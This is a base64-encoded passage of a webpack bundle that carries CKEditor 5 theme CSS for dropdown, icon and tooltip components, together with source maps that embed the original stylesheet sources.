kb3duX19hcnJvd3tsZWZ0OnZhcigtLWNrLXNwYWNpbmctc3RhbmRhcmQpO21hcmdpbi1yaWdodDp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKX0uY2suY2stZHJvcGRvd24uY2stZGlzYWJsZWQgLmNrLWRyb3Bkb3duX19hcnJvd3tvcGFjaXR5OnZhcigtLWNrLWRpc2FibGVkLW9wYWNpdHkpfVtkaXI9bHRyXSAuY2suY2stZHJvcGRvd24gLmNrLWJ1dHRvbi5jay1kcm9wZG93bl9fYnV0dG9uOm5vdCguY2stYnV0dG9uX3dpdGgtdGV4dCl7cGFkZGluZy1sZWZ0OnZhcigtLWNrLXNwYWNpbmctc21hbGwpfVtkaXI9cnRsXSAuY2suY2stZHJvcGRvd24gLmNrLWJ1dHRvbi5jay1kcm9wZG93bl9fYnV0dG9uOm5vdCguY2stYnV0dG9uX3dpdGgtdGV4dCl7cGFkZGluZy1yaWdodDp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKX0uY2suY2stZHJvcGRvd24gLmNrLWJ1dHRvbi5jay1kcm9wZG93bl9fYnV0dG9uIC5jay1idXR0b25fX2xhYmVse3dpZHRoOjdlbTtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpc30uY2suY2stZHJvcGRvd24gLmNrLWJ1dHRvbi5jay1kcm9wZG93bl9fYnV0dG9uLmNrLWRpc2FibGVkIC5jay1idXR0b25fX2xhYmVse29wYWNpdHk6dmFyKC0tY2stZGlzYWJsZWQtb3BhY2l0eSl9LmNrLmNrLWRyb3Bkb3duIC5jay1idXR0b24uY2stZHJvcGRvd25fX2J1dHRvbi5jay1vbntib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOjA7Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6MH0uY2suY2stZHJvcGRvd24gLmNrLWJ1dHRvbi5jay1kcm9wZG93bl9fYnV0dG9uLmNrLWRyb3Bkb3duX19idXR0b25fbGFiZWwtd2lkdGhfYXV0byAuY2stYnV0dG9uX19sYWJlbHt3aWR0aDphdXRvfS5jay5jay1kcm9wZG93bl9fcGFuZWx7Ym9yZGVyLXJhZGl1czowfS5jay1yb3VuZGVkLWNvcm5lcnMgLmNrLmNrLWRyb3Bkb3duX19wYW5lbCwuY2suY2stZHJvcGRvd25fX3BhbmVsLmNrLXJvdW5kZWQtY29ybmVyc3tib3JkZXItcmFkaXVzOnZhcigtLWNrLWJvcmRlci1yYWRpdXMpfS5jay5jay1kcm9wZG93bl9fcGFuZWx7Ym94LXNoYWRvdzp2YXIoLS1jay1kcm9wLXNoYWRvdyksMCAwO2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItZHJvcGRvd24tcGFuZWwtYmFja2dyb3VuZCk7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1jay1jb2xvci1kcm9wZG93bi1wYW5lbC1ib3JkZXIpO2JvdHRvbTowO21pbi13aWR0aDoxMDAlfS5jay5jay1kcm9wZG93bl9fcGFuZWwuY2stZHJvcGRvd25fX3BhbmVsX3Nle2JvcmRlci10b3AtbGVmdC1yYWRpdXM6MH0uY2suY2stZHJvcGRvd25fX3BhbmVsLmNrLWRyb3Bkb3duX19wYW5lbF9zd3tib3JkZXItdG9wLXJpZ2h0LXJhZGl1czowfS5jay5jay1kcm9wZG93bl9fcGFuZWwuY2stZHJvcGRvd25fX3BhbmVsX25le2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6MH0uY2suY2stZHJvcGRvd25fX3BhbmVsLmNrLWRyb3Bkb3duX19wYW5lbF9ud3tib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czowfSIsIiIse3ZlcnNpb246Myxzb3VyY2VzOlsid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdWkvdGhlbWUvY29tcG9uZW50cy9kcm9wZG93bi9kcm9wZG93bi5jc3MiLCJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS11aS90aGVtZS9jb21wb25lbnRzL3Rvb2x0aXAvbWl4aW5zL190b29sdGlwLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LXVpL2NvbXBvbmVudHMvZHJvcGRvd24vZHJvcGRvd24uY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9taXhpbnMvX2Rpc2FibGVkLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19yb3VuZGVkLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19zaGFkb3cuY3NzIl0sbmFtZXM6W10sbWFwcGluZ3M6IkFBT0EsZ0JBQ0Msb0JBQXFCLENBQ3JCLGlCQXlERCxDQXZEQyxvQ0FDQyxtQkFBb0IsQ0FDcEIsMkJBQ0QsQ0FHQSwrQ0FDQyxVQU9ELENDY0EsaUVBQ0MsWUFDRCxDRGRBLG9DQUdDLGtDQUFtQyxDQUVuQyxZQUFhLENBQ2IseUJBQTBCLENBRTFCLGlCQThCRCxDQTVCQywrREFDQyxvQkFDRCxDQUVBLG9IQUVDLFdBQ0QsQ0FFQSxvSEFNQyxRQUFTLENBQ1QsV0FDRCxDQUVBLG9IQUVDLE1BQ0QsQ0FFQSxvSEFFQyxPQUNELENBUUYsbUNBQ0MsbUNBQ0QsQ0VoRUEsTUFDQyxzREFDRCxDQUVBLGdCQUVDLGlCQWlFRCxDQS9EQyxvQ0FDQyxtQ0FDRCxDQUdDLDhDQUNDLGdDQUFpQyxDQUdqQyxzQ0FDRCxDQUlBLDhDQUNDLCtCQUFnQyxDQUdoQyxvQ0FDRCxDQUdELGdEQy9CQSxrQ0RpQ0EsQ0FJRSxtRkFFQyxvQ0FDRCxDQUlBLG1GQUVDLHFDQUNELENBSUQsaUVBQ0MsU0FBVSxDQUNWLGVBQWdCLENBQ2hCLHNCQUNELENBR0EsNkVDMURELGtDRDREQyxDQUdBLHFEQUNDLDJCQUE0QixDQUM1Qiw0QkFDRCxDQUVBLHNHQUNDLFVBQ0QsQ0FJRix1QkV4RUMsZUZvR0QsQ0E1QkEscUZFcEVFLHFDRmdHRixDQTVCQSx1QkcxRUMsb0NBQThCLENIOEU5QixvREFBcUQsQ0FDckQsc0RBQXVELENBQ3ZELFFBQVMsQ0FHVCxjQW1CRCxDQWZDLDZDQUNDLHdCQUNELENBRUEsNkNBQ0MseUJBQ0QsQ0FFQSw2Q0FDQywyQkFDRCxDQUVBLDZDQUNDLDRCQUNEIixzb3VyY2VzQ29udGVudDpbIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuQGltcG9ydCBcIi4uL3Rvb2x0aXAvbWl4aW5zL190b29sdGlwLmNzc1wiO1xuXG4uY2suY2stZHJvcGRvd24ge1xuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQmIC5jay1kcm9wZG93bl9fYXJyb3cge1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHotaW5kZXg6IHZhcigtLWNrLXotZGVmYXVsdCk7XG5cdH1cblxuXHQvKiBEcm9wZG93biBidXR0b24gc2hvdWxkIHNwYW4gaG9yaXpvbnRhbGx5LCBlLmcuIGluIHZlcnRpY2FsIHRvb2xiYXJzICovXG5cdCYgLmNrLWJ1dHRvbi5jay1kcm9wZG93bl9fYnV0dG9uIHtcblx0XHR3aWR0aDogMTAwJTtcblxuXHRcdC8qIERpc2FibGUgbWFpbiBidXR0b24ncyB0b29sdGlwIHdoZW4gdGhlIGRyb3Bkb3duIGlzIG9wZW4uIE90aGVyd2lzZSB0aGUgcGFuZWwgbWF5XG5cdFx0cGFydGlhbGx5IGNvdmVyIHRoZSB0b29sdGlwICovXG5cdFx0Ji5jay1vbiB7XG5cdFx0XHRAbWl4aW4gY2stdG9vbHRpcF9kaXNhYmxlZDtcblx0XHR9XG5cdH1cblxuXHQmIC5jay1kcm9wZG93bl9fcGFuZWwge1xuXHRcdC8qIFRoaXMgaXMgdG8gZ2V0IHJpZCBvZiBmbGlja2VyaW5nIHdoZW4gdGhlIHRvb2x0aXAgaXMgc2hvd24gdW5kZXIgdGhlIHBhbmVsLFxuXHRcdHdoaWNoIGxvb2tzIGxpa2UgdGhlIHBhbmVsIG1vdmVzIHZlcnRpY2FsbHkgYSBwaXhlbCBkb3duIGFuZCB1cC4gKi9cblx0XHQtd2Via2l0LWJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcblxuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdFx0ei1pbmRleDogdmFyKC0tY2stei1tb2RhbCk7XG5cblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cblx0XHQmLmNrLWRyb3Bkb3duX19wYW5lbC12aXNpYmxlIHtcblx0XHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHR9XG5cblx0XHQmLmNrLWRyb3Bkb3duX19wYW5lbF9uZSxcblx0XHQmLmNrLWRyb3Bkb3duX19wYW5lbF9udyB7XG5cdFx0XHRib3R0b206IDEwMCU7XG5cdFx0fVxuXG5cdFx0Ji5jay1kcm9wZG93bl9fcGFuZWxfc2UsXG5cdFx0Ji5jay1kcm9wZG93bl9fcGFuZWxfc3cge1xuXHRcdFx0Lypcblx0XHRcdCAqIFVzaW5nIHRyYW5zZm9ybTogdHJhbnNsYXRlM2QoIDAsIDEwMCUsIDAgKSBjYXVzZXMgYmx1cnJ5IGRyb3Bkb3duIG9uIENocm9tZSA2Ny03OCsgb24gbm9uLXJldGluYSBkaXNwbGF5cy5cblx0XHRcdCAqIFNlZSBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1L2lzc3Vlcy8xMDUzLlxuXHRcdFx0ICovXG5cdFx0XHR0b3A6IDEwMCU7XG5cdFx0XHRib3R0b206IGF1dG87XG5cdFx0fVxuXG5cdFx0Ji5jay1kcm9wZG93bl9fcGFuZWxfbmUsXG5cdFx0Ji5jay1kcm9wZG93bl9fcGFuZWxfc2Uge1xuXHRcdFx0bGVmdDogMHB4O1xuXHRcdH1cblxuXHRcdCYuY2stZHJvcGRvd25fX3BhbmVsX253LFxuXHRcdCYuY2stZHJvcGRvd25fX3BhbmVsX3N3IHtcblx0XHRcdHJpZ2h0OiAwcHg7XG5cdFx0fVxuXHR9XG59XG5cbi8qXG4gKiBUb29sYmFyIGRyb3Bkb3duIHBhbmVscyBzaG91bGQgYmUgYWx3YXlzIGFib3ZlIHRoZSBVSSAoZWcuIG90aGVyIGRyb3Bkb3duIHBhbmVscykgZnJvbSB0aGUgZWRpdG9yJ3MgY29udGVudC5cbiAqIFNlZSBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1L2lzc3Vlcy83ODc0XG4gKi9cbi5jay5jay10b29sYmFyIC5jay1kcm9wZG93bl9fcGFuZWwge1xuXHR6LWluZGV4OiBjYWxjKCB2YXIoLS1jay16LW1vZGFsKSArIDEgKTtcbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBFbmFibGVzIHRoZSB0b29sdGlwLCB3aGljaCBpcyB0aGUgdG9vbHRpcCBpcyBpbiBET00gYnV0XG4gKiBub3QgeWV0IGRpc3BsYXllZC5cbiAqL1xuQGRlZmluZS1taXhpbiBjay10b29sdGlwX2VuYWJsZWQge1xuXHQmIC5jay10b29sdGlwIHtcblx0XHRkaXNwbGF5OiBibG9jaztcblxuXHRcdC8qXG5cdFx0ICogRG9uJ3QgZGlzcGxheSB0b29sdGlwcyBpbiBkZXZpY2VzIHdoaWNoIGRvbid0IHN1cHBvcnQgOmhvdmVyLlxuXHRcdCAqIEluIGZhY3QsIGl0J3MgYWxsIGFib3V0IGlPUywgd2hpY2ggZm9yY2VzIHVzZXIgdG8gY2xpY2sgVUkgZWxlbWVudHMgdHdpY2UgdG8gZXhlY3V0ZVxuXHRcdCAqIHRoZSBwcmltYXJ5IGFjdGlvbiwgd2hlbiB0b29sdGlwcyBhcmUgZW5hYmxlZC5cblx0XHQgKlxuXHRcdCAqIFE6IE9LLCBidXQgd2h5IG5vdCB0aGUgZm9sbG93aW5nIHF1ZXJ5P1xuXHRcdCAqXG5cdFx0ICogICBAbWVkaWEgKGhvdmVyKSB7XG5cdFx0ICogICAgICAgZGlzcGxheTogYmxvY2s7XG5cdFx0ICogICB9XG5cdFx0ICpcblx0XHQgKiBBOiBCZWNhdXNlIEZGIGRvZXMgbm90IHN1cHBvcnQgaXQgYW5kIGl0IHdvdWxkIGNvbXBsZXRlbHkgZGlzYWJsZSB0b29sdGlwc1xuXHRcdCAqIGluIHRoYXQgYnJvd3Nlci5cblx0XHQgKlxuXHRcdCAqIE1vcmUgaW4gaHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS9pc3N1ZXMvOTIwLlxuXHRcdCAqL1xuXHRcdEBtZWRpYSAoaG92ZXI6bm9uZSkge1xuXHRcdFx0ZGlzcGxheTogbm9uZTtcblx0XHR9XG5cdH1cbn1cblxuLyoqXG4gKiBEaXNhYmxlcyB0aGUgdG9vbHRpcCBtYWtpbmcgaXQgZGlzYXBwZWFyIGZyb20gRE9NLlxuICovXG5AZGVmaW5lLW1peGluIGNrLXRvb2x0aXBfZGlzYWJsZWQge1xuXHQmIC5jay10b29sdGlwIHtcblx0XHRkaXNwbGF5OiBub25lO1xuXHR9XG59XG5cbi8qKlxuICogU2hvd3MgdGhlIHRvb2x0aXAsIHdoaWNoIGlzIGFscmVhZHkgaW4gRE9NLlxuICogUmVxdWlyZXMgYGNrLXRvb2x0aXBfZW5hYmxlZGAgZmlyc3QuXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stdG9vbHRpcF92aXNpYmxlIHtcblx0JiAuY2stdG9vbHRpcCB7XG5cdFx0dmlzaWJpbGl0eTogdmlzaWJsZTtcblx0XHRvcGFjaXR5OiAxO1xuXHR9XG59XG4iLCcvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbkBpbXBvcnQgIi4uLy4uLy4uL21peGlucy9fcm91bmRlZC5jc3MiO1xuQGltcG9ydCAiLi4vLi4vLi4vbWl4aW5zL19kaXNhYmxlZC5jc3MiO1xuQGltcG9ydCAiLi4vLi4vLi4vbWl4aW5zL19zaGFkb3cuY3NzIjtcbkBpbXBvcnQgIkBja2VkaXRvci9ja2VkaXRvcjUtdWkvdGhlbWUvbWl4aW5zL19kaXIuY3NzIjtcblxuOnJvb3Qge1xuXHQtLWNrLWRyb3Bkb3duLWFycm93LXNpemU6IGNhbGMoMC41ICogdmFyKC0tY2staWNvbi1zaXplKSk7XG59XG5cbi5jay5jay1kcm9wZG93biB7XG5cdC8qIEVuYWJsZSBmb250IHNpemUgaW5oZXJpdGFuY2UsIHdoaWNoIGFsbG93cyBmbHVpZCBVSSBzY2FsaW5nLiAqL1xuXHRmb250LXNpemU6IGluaGVyaXQ7XG5cblx0JiAuY2stZHJvcGRvd25fX2Fycm93IHtcblx0XHR3aWR0aDogdmFyKC0tY2stZHJvcGRvd24tYXJyb3ctc2l6ZSk7XG5cdH1cblxuXHRAbWl4aW4gY2stZGlyIGx0ciB7XG5cdFx0JiAuY2stZHJvcGRvd25fX2Fycm93IHtcblx0XHRcdHJpZ2h0OiB2YXIoLS1jay1zcGFjaW5nLXN0YW5kYXJkKTtcblxuXHRcdFx0LyogQSBzcGFjZSB0byBhY2NvbW1vZGF0ZSB0aGUgdHJpYW5nbGUuICovXG5cdFx0XHRtYXJnaW4tbGVmdDogdmFyKC0tY2stc3BhY2luZy1zdGFuZGFyZCk7XG5cdFx0fVxuXHR9XG5cblx0QG1peGluIGNrLWRpciBydGwge1xuXHRcdCYgLmNrLWRyb3Bkb3duX19hcnJvdyB7XG5cdFx0XHRsZWZ0OiB2YXIoLS1jay1zcGFjaW5nLXN0YW5kYXJkKTtcblxuXHRcdFx0LyogQSBzcGFjZSB0byBhY2NvbW1vZGF0ZSB0aGUgdHJpYW5nbGUuICovXG5cdFx0XHRtYXJnaW4tcmlnaHQ6IHZhcigtLWNrLXNwYWNpbmctc21hbGwpO1xuXHRcdH1cblx0fVxuXG5cdCYuY2stZGlzYWJsZWQgLmNrLWRyb3Bkb3duX19hcnJvdyB7XG5cdFx0QG1peGluIGNrLWRpc2FibGVkO1xuXHR9XG5cblx0JiAuY2stYnV0dG9uLmNrLWRyb3Bkb3duX19idXR0b24ge1xuXHRcdEBtaXhpbiBjay1kaXIgbHRyIHtcblx0XHRcdCY6bm90KC5jay1idXR0b25fd2l0aC10ZXh0KSB7XG5cdFx0XHRcdC8qIE1ha2Ugc3VyZSBkcm9wZG93bnMgd2l0aCBqdXN0IGFuIGljb24gaGF2ZSB0aGUgcmlnaHQgaW5uZXIgc3BhY2luZyAqL1xuXHRcdFx0XHRwYWRkaW5nLWxlZnQ6IHZhcigtLWNrLXNwYWNpbmctc21hbGwpO1xuXHRcdFx0fVxuXHRcdH1cblxuXHRcdEBtaXhpbiBjay1kaXIgcnRsIHtcblx0XHRcdCY6bm90KC5jay1idXR0b25fd2l0aC10ZXh0KSB7XG5cdFx0XHRcdC8qIE1ha2Ugc3VyZSBkcm9wZG93bnMgd2l0aCBqdXN0IGFuIGljb24gaGF2ZSB0aGUgcmlnaHQgaW5uZXIgc3BhY2luZyAqL1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiB2YXIoLS1jay1zcGFjaW5nLXNtYWxsKTtcblx0XHRcdH1cblx0XHR9XG5cblx0XHQvKiAjMjMgKi9cblx0XHQmIC5jay1idXR0b25fX2xhYmVsIHtcblx0XHRcdHdpZHRoOiA3ZW07XG5cdFx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdFx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cdFx0fVxuXG5cdFx0LyogaHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS10aGVtZS1sYXJrL2lzc3Vlcy83MCAqL1xuXHRcdCYuY2stZGlzYWJsZWQgLmNrLWJ1dHRvbl9fbGFiZWwge1xuXHRcdFx0QG1peGluIGNrLWRpc2FibGVkO1xuXHRcdH1cblxuXHRcdC8qIGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUvaXNzdWVzLzgxNiAqL1xuXHRcdCYuY2stb24ge1xuXHRcdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcblx0XHRcdGJvcmRlci1ib3R0b20tcmlnaHQtcmFkaXVzOiAwO1xuXHRcdH1cblxuXHRcdCYuY2stZHJvcGRvd25fX2J1dHRvbl9sYWJlbC13aWR0aF9hdXRvIC5jay1idXR0b25fX2xhYmVsIHtcblx0XHRcdHdpZHRoOiBhdXRvO1xuXHRcdH1cblx0fVxufVxuXG4uY2suY2stZHJvcGRvd25fX3BhbmVsIHtcblx0QG1peGluIGNrLXJvdW5kZWQtY29ybmVycztcblx0QG1peGluIGNrLWRyb3Atc2hhZG93O1xuXG5cdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLWRyb3Bkb3duLXBhbmVsLWJhY2tncm91bmQpO1xuXHRib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1jay1jb2xvci1kcm9wZG93bi1wYW5lbC1ib3JkZXIpO1xuXHRib3R0b206IDA7XG5cblx0LyogTWFrZSBzdXJlIHRoZSBwYW5lbCBpcyBhdCBsZWFzdCBhcyB3aWRlIGFzIHRoZSBkcm9wLWRvd25cJ3MgYnV0dG9uLiAqL1xuXHRtaW4td2lkdGg6IDEwMCU7XG5cblx0LyogRGlzYWJsZWQgY29ybmVyIGJvcmRlciByYWRpdXMgdG8gYmUgY29uc2lzdGVudCB3aXRoIHRoZSAuZHJvcGRvd25fX2J1dHRvblxuXHRodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1L2lzc3Vlcy84MTYgKi9cblx0Ji5jay1kcm9wZG93bl9fcGFuZWxfc2Uge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG5cdH1cblxuXHQmLmNrLWRyb3Bkb3duX19wYW5lbF9zdyB7XG5cdFx0Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6IDA7XG5cdH1cblxuXHQmLmNrLWRyb3Bkb3duX19wYW5lbF9uZSB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcblx0fVxuXG5cdCYuY2stZHJvcGRvd25fX3BhbmVsX253IHtcblx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogMDtcblx0fVxufVxuJywiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4vKipcbiAqIEEgY2xhc3Mgd2hpY2ggaW5kaWNhdGVzIHRoYXQgYW4gZWxlbWVudCBob2xkaW5nIGl0IGlzIGRpc2FibGVkLlxuICovXG5AZGVmaW5lLW1peGluIGNrLWRpc2FibGVkIHtcblx0b3BhY2l0eTogdmFyKC0tY2stZGlzYWJsZWQtb3BhY2l0eSk7XG59XG4iLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogSW1wbGVtZW50cyByb3VuZGVkIGNvcm5lciBpbnRlcmZhY2UgZm9yIC5jay1yb3VuZGVkLWNvcm5lcnMgY2xhc3MuXG4gKlxuICogQHNlZSAkY2stYm9yZGVyLXJhZGl1c1xuICovXG5AZGVmaW5lLW1peGluIGNrLXJvdW5kZWQtY29ybmVycyB7XG5cdGJvcmRlci1yYWRpdXM6IDA7XG5cblx0QG5lc3QgLmNrLXJvdW5kZWQtY29ybmVycyAmLFxuXHQmLmNrLXJvdW5kZWQtY29ybmVycyB7XG5cdFx0Ym9yZGVyLXJhZGl1czogdmFyKC0tY2stYm9yZGVyLXJhZGl1cyk7XG5cdFx0QG1peGluLWNvbnRlbnQ7XG5cdH1cbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBBIGhlbHBlciB0byBjb21iaW5lIG11bHRpcGxlIHNoYWRvd3MuXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stYm94LXNoYWRvdyAkc2hhZG93QSwgJHNoYWRvd0I6IDAgMCB7XG5cdGJveC1zaGFkb3c6ICRzaGFkb3dBLCAkc2hhZG93Qjtcbn1cblxuLyoqXG4gKiBHaXZlcyBhbiBlbGVtZW50IGEgZHJvcCBzaGFkb3cgc28gaXQgbG9va3MgbGlrZSBhIGZsb2F0aW5nIHBhbmVsLlxuICovXG5AZGVmaW5lLW1peGluIGNrLWRyb3Atc2hhZG93IHtcblx0QG1peGluIGNrLWJveC1zaGFkb3cgdmFyKC0tY2stZHJvcC1zaGFkb3cpO1xufVxuIl0sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwiLmNrLmNrLWljb257dmVydGljYWwtYWxpZ246bWlkZGxlfTpyb290ey0tY2staWNvbi1zaXplOmNhbGModmFyKC0tY2stbGluZS1oZWlnaHQtYmFzZSkqdmFyKC0tY2stZm9udC1zaXplLW5vcm1hbCkpfS5jay5jay1pY29ue3dpZHRoOnZhcigtLWNrLWljb24tc2l6ZSk7aGVpZ2h0OnZhcigtLWNrLWljb24tc2l6ZSk7Zm9udC1zaXplOi44MzMzMzUwNjk0ZW07d2lsbC1jaGFuZ2U6dHJhbnNmb3JtfS5jay5jay1pY29uLC5jay5jay1pY29uICp7Y29sb3I6aW5oZXJpdDtjdXJzb3I6aW5oZXJpdH0uY2suY2staWNvbiA6bm90KFtmaWxsXSl7ZmlsbDpjdXJyZW50Q29sb3J9IiwiIix7dmVyc2lvbjozLHNvdXJjZXM6WyJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS11aS90aGVtZS9jb21wb25lbnRzL2ljb24vaWNvbi5jc3MiLCJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS10aGVtZS1sYXJrL3RoZW1lL2NrZWRpdG9yNS11aS9jb21wb25lbnRzL2ljb24vaWNvbi5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFLQSxZQUNDLHFCQUNELENDRkEsTUFDQywwRUFDRCxDQUVBLFlBQ0MseUJBQTBCLENBQzFCLDBCQUEyQixDQUczQix1QkFBd0IsQ0FReEIscUJBY0QsQ0FaQywwQkFSQSxhQUFjLENBR2QsY0FnQkEsQ0FKQyx5QkFFQyxpQkFDRCIsc291cmNlc0NvbnRlbnQ6WyIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi5jay5jay1pY29uIHtcblx0dmVydGljYWwtYWxpZ246IG1pZGRsZTtcbn1cbiIsJy8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuOnJvb3Qge1xuXHQtLWNrLWljb24tc2l6ZTogY2FsYyh2YXIoLS1jay1saW5lLWhlaWdodC1iYXNlKSAqIHZhcigtLWNrLWZvbnQtc2l6ZS1ub3JtYWwpKTtcbn1cblxuLmNrLmNrLWljb24ge1xuXHR3aWR0aDogdmFyKC0tY2staWNvbi1zaXplKTtcblx0aGVpZ2h0OiB2YXIoLS1jay1pY29uLXNpemUpO1xuXG5cdC8qIE11bHRpcGxpZWQgYnkgdGhlIGhlaWdodCBvZiB0aGUgbGluZSBpbiAicHgiIHNob3VsZCBnaXZlIFNWRyAidmlld3BvcnQiIGRpbWVuc2lvbnMgKi9cblx0Zm9udC1zaXplOiAuODMzMzM1MDY5NGVtO1xuXG5cdGNvbG9yOiBpbmhlcml0O1xuXG5cdC8qIEluaGVyaXQgY3Vyc29yIHN0eWxlICgjNSkuICovXG5cdGN1cnNvcjogaW5oZXJpdDtcblxuXHQvKiBUa